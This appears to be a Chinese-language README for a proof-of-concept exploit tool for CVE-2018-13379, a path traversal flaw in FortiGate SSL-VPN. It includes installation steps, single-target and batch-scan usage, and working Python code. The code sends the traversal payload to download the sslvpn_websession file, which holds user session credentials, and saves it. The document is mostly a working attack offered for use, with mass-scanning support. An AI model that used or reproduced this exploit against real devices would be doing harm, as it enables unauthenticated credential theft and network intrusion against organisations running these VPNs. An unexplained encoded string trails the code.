CVE-2018-13379 - FortiGate SSL-VPN 路径遍历漏洞利用工具
本项目是一个针对 CVE-2018-13379 漏洞的概念验证(PoC)脚本。该漏洞存在于 Fortinet FortiGate 设备的 SSL VPN 门户中,是一个严重的路径遍历漏洞。攻击者无需身份验证即可利用此漏洞下载服务器上的任意系统文件,特别是包含用户会话信息的 sslvpn_websessions 文件,从而获取敏感凭据并可能控制网络。
功能特性
- 单一目标检测:支持对单个 IP 地址或域名进行漏洞检测和文件下载。
- 批量目标扫描:支持从文件中读取多个目标进行批量检测。
- 灵活的目标格式:自动处理 IP、域名以及自定义端口。
- 直接文件下载:成功利用漏洞后,可下载目标的系统文件(默认为
sslvpn_websessions)。 - 清晰的结果输出:在终端中高亮显示存在漏洞的目标及下载的文件名。
安装指南
系统要求
- Python 3.x
- pip 包管理器
安装步骤
-
克隆本仓库到本地:
git clone https://github.com/your-repo/CVE-2018-13379.git cd CVE-2018-13379 -
(可选)创建并激活 Python 虚拟环境:
python3 -m venv venv source venv/bin/activate # 在 Windows 上使用 `venv\Scripts\activate` -
安装依赖库:
pip install requests
使用说明
基础使用
该工具提供了两种主要的使用模式:单目标检测和批量文件扫描。
1. 单目标检测
检测单个目标是否存在漏洞,并尝试下载 sslvpn_websessions 文件。
python poc.py --target 192.168.1.1
如果目标使用非标准端口(例如 10443),可以直接在目标中指定:
python poc.py --target 192.168.1.1:10443
python poc.py --target vpn.example.com:8443
成功执行后,脚本会下载名为 192.168.1.1_sslvpn_websessions 的文件。
2. 批量文件扫描
准备一个包含目标列表的文本文件(例如 targets.txt),每行一个目标。
targets.txt 示例:
192.168.1.1
vpn.target.com
10.0.0.5:4443
然后运行批量扫描模式:
python poc.py --list targets.txt
脚本将遍历列表中的所有目标,并对每个存在漏洞的目标下载对应的会话文件。
核心代码
以下是工具的核心漏洞利用代码片段,清晰地展示了如何构造恶意请求来触发路径遍历。
# poc.py (核心部分)
import requests
import sys
import os
# 漏洞利用参数
VULN_ENDPOINT = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
OUTPUT_FILE_TEMPLATE = "{target}_sslvpn_websessions"
def exploit(target):
"""
针对单个目标利用 CVE-2018-13379 漏洞。
通过向目标发送包含路径遍历 payload 的 GET 请求,尝试下载
FortiGate 设备上的 'sslvpn_websession' 文件。该文件包含了
活跃用户的会话信息。
Args:
target (str): 目标地址,可以是 IP 或域名,可选端口。
Returns:
bool: 如果漏洞利用成功(文件被下载),返回 True,否则返回 False。
"""
# 1. 构造完整的 URL
if not target.startswith(('http://', 'https://')):
# 默认使用 HTTPS,因为这是 SSL VPN 的常用协议
url = f"https://{target}{VULN_ENDPOINT}"
else:
url = f"{target}{VULN_ENDPOINT}"
output_file = OUTPUT_FILE_TEMPLATE.format(target=target.replace(':', '_').replace('/', '_'))
try:
# 2. 发送恶意构造的 GET 请求
# 忽略 SSL 证书验证,因为目标可能是自签名证书
print(f"[*] 正在测试目标: {target}")
response = requests.get(url, verify=False, timeout=10)
# 3. 分析响应结果
# 如果响应包含特定内容(如 'devid')且状态码为 200,则很可能成功
if response.status_code == 200 and len(response.text) > 0:
# 简单的启发式检测:检查是否返回了类似配置文件的 JSON 数据
if response.text.strip().startswith('{') and 'devid' in response.text:
print(f"[+] 目标 {target} 存在漏洞!正在保存文件...")
# 4. 保存下载的文件
with open(output_file, 'wb') as f:
f.write(response.content)
print(f"[+] 文件已保存为: {output_file}")
return True
else:
print(f"[-] 目标 {target} 可能不存在漏洞或响应内容为空。")
else:
print(f"[-] 目标 {target} 请求失败,状态码: {response.status_code}")
except requests.exceptions.Timeout:
print(f"[-] 目标 {target} 连接超时。")
except requests.exceptions.ConnectionError:
print(f"[-] 目标 {target} 连接失败。")
except Exception as e:
print(f"[-] 目标 {target} 处理时发生未知错误: {e}")
return False
6HFtX5dABrKlqXeO5PUv/yVpc47CJ3oK2Uu390xMySg=